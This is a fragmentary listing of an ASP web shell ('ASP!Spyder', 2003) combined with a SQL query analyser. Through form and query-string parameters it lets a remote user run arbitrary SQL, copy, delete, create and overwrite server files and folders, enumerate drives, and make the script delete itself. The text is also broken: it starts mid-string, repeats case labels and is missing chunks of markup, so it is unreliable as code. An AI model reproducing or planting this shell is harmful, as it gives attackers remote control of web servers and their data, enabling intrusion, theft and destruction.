"
Response.Write ""
myFlag = errChk()
else
if not myFlag then
myTitle = "iQuery results : (The command(s) completed successfully.)
"
response.Write myTitle
end if
end if
End sub
Function errChk()
if err.Number <> 0 and err.Number <> 13 then
dim myText
myText = "x " & err.Description & "
"
response.Write myText
err.Number = 0
errChk = True
end if
end Function
Dim myQuery,mPage,mNR
myQuery = request.Form("txtSQL")
if request.form("txtCon") <> "" then session("dbcon") = request.form("txtCon")
if request.QueryString("txtpath") then session("txtpath")=request.QueryString("txtpath")
mPage=cint(request.Form("mPage"))
if mPage<1 then mPage=1
mNR=cint(request.Form("txtNoRecords"))
if mNR<1 then mNR=30
%>
ASPyQAnalyser
Copyright 2003 Vela iNC.
Cheers to hAshish for all the help!
<%
set myDBConnection = nothing
set rs2 = nothing
set rs = nothing
'-------------
response.End()
end if
'QUERY ANALYSER -- STOP
%>
<%=MyPath%>
<%
Response.Flush
'Code Optimisation START
select case request.form("cmd")
case ""
If request.form("dirStuff")<>"" then
Response.write "You need to click [Create] or [Delete] for folder operations to be"
Else
Response.Write "آ"
End If
case " Copy "
' ---Copy From Folder routine Start
If Request.Form("Fname")="" then
Response.Write "Copying: " & Request.QueryString("txtpath") & "\???
"
err.number=424
Else
Response.Write "Copying: " & Request.QueryString("txtpath") & "\" & Request.Form("Fname") & "
"
fso.CopyFile Request.QueryString("txtpath") & "\" & Request.Form("Fname"),Target & Request.Form("Fname")
Response.Flush
End If
' ---Copy From Folder routine Stop
case " Copy "
' ---Copy Too Folder routine Start
If Request.Form("ToCopy")<>"" and Request.Form("ToCopy") <> "------------------------------" Then
Response.Write "Copying: " & Request.Form("txtpath") & "\" & Request.Form("ToCopy") & "
"
Response.Flush
fso.CopyFile Target & Request.Form("ToCopy"), Request.Form("txtpath") & "\" & Request.Form("ToCopy")
Else
Response.Write "Copying: " & Request.Form("txtpath") & "\???
"
err.number=424
End If
' ---Copy Too Folder routine Stop
case "Delete" 'two of this
if request.form("todelete")<>"" then
' ---File Delete start
If (Request.Form("ToDelete")) = myScriptName then'(Right(Request.Servervariables("SCRIPT_NAME"),len(Request.Servervariables("SCRIPT_NAME"))-1)) Then
Response.Write "
SELFDESTRUCT INITIATED...
"
Response.Flush
fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete")
%>+++DONE+++
CLOSE THIS WINDOW
<%Response.End
End If
If Request.Form("ToDelete") <> "" and Request.Form("ToDelete") <> "------------------------------" Then
Response.Write "Deleting: " & Request.Form("txtpath") & "\" & Request.Form("ToDelete") & "
"
Response.Flush
fso.DeleteFile Request.Form("txtpath") & "\" & Request.Form("ToDelete")
Else
Response.Write "Deleting: " & Request.Form("txtpath") & "\???
"
err.number=424
End If
' ---File Delete stop
Else If request.form("dirStuff")<>"" then
Response.Write "Deleting folder...
"
fso.DeleteFolder MyPath & "\" & request.form("DirName")
end if
End If
case "Edit/Create"
%>
|
NOTE: The following edit box maynot display special characters from files. Therefore the contents displayed maynot be considered correct or accurate.
| Path=> <%=pathname%>
<%
' fetch file information
Set f = fso.GetFile(pathname)
%>
file Type: <%=f.Type%>
file Size: <%=FormatNumber(f.size,0)%> bytes
file Created: <%=FormatDateTime(f.datecreated,1)%> <%=FormatDateTime(f.datecreated,3)%>
last Modified: <%=FormatDateTime(f.datelastmodified,1)%> <%=FormatDateTime(f.datelastmodified,3)%>
last Accessed: <%=FormatDateTime(f.datelastaccessed,1)%> <%=FormatDateTime(f.datelastaccessed,3)%>
file Attributes: <%=f.attributes%>
<%
Set f = Nothing
response.write " |
<%
response.end
case "Create"
Response.Write "Creating folder...
"
fso.CreateFolder MyPath & "\" & request.form("DirName")
case "Save As"
Response.Write "Saving file...
"
Set f = fso.CreateTextFile(Request.Form("pathname"))
f.write Request.Form("FILEDATA")
f.close
end select
'Code Optimisation STOP
' ---DRIVES start here
If request.querystring("getDRVs")="@" then
%>
| Available Drive Information:
|
| Drive | Type | Path | ShareName | Size[MB] | ReadyToUse | VolumeLabel | |
<%For Each thingy in fso.Drives%>
|
<%=thingy.DriveLetter%> | <%=thingy.DriveType%> | <%=thingy.Path%> | <%=thingy.ShareName%> | <%=((thingy.TotalSize)/1024000)%> | <%=thingy.IsReady%> | <%=thingy.VolumeName%>
<%Next%>
|
|
?txtpath=<%=MyPath%>">7
<%
Response.end
end if
' ---DRIVES stop here
%>
<%
'---Report errors
select case err.number
case "0"
response.write "i Successfull.."
case "58"
response.write "Folder already exists OR no folder name specified..."
case "70"
response.write "Permission Denied, folder/file is readonly or contains such files..."
case "76"
response.write "Path not found..."
case "424"
response.write "Missing, Insufficient data OR file is readonly..."
case else
response.write "" & err.description & ""
end select
'---Report errors end
%>
ASP!Spyder Apr2003
by ~sir_shagalot
"
Response.Flush
' ---View Tree Begins Here
Response.Write "Folders:
"
fo=0
Response.Write "0 ..
"
For each fold in folder.SubFolders '-->FOLDERz
fo=fo+1
Response.Write "0 " & fold.name & "
"
Next
%>
<%
Response.Write "
| Files:
"
Response.Flush
%>
<%
Response.Write "
| | Listed: " & fo & " | Listed: " & fi & " |
"
' ---View Tree Ends Here
' ---Upload Routine starts here
%>
<%
' ---Upload Routine stops here
%>
Copyright 2003 Vela iNC.
[ System: <%=now%> ]
|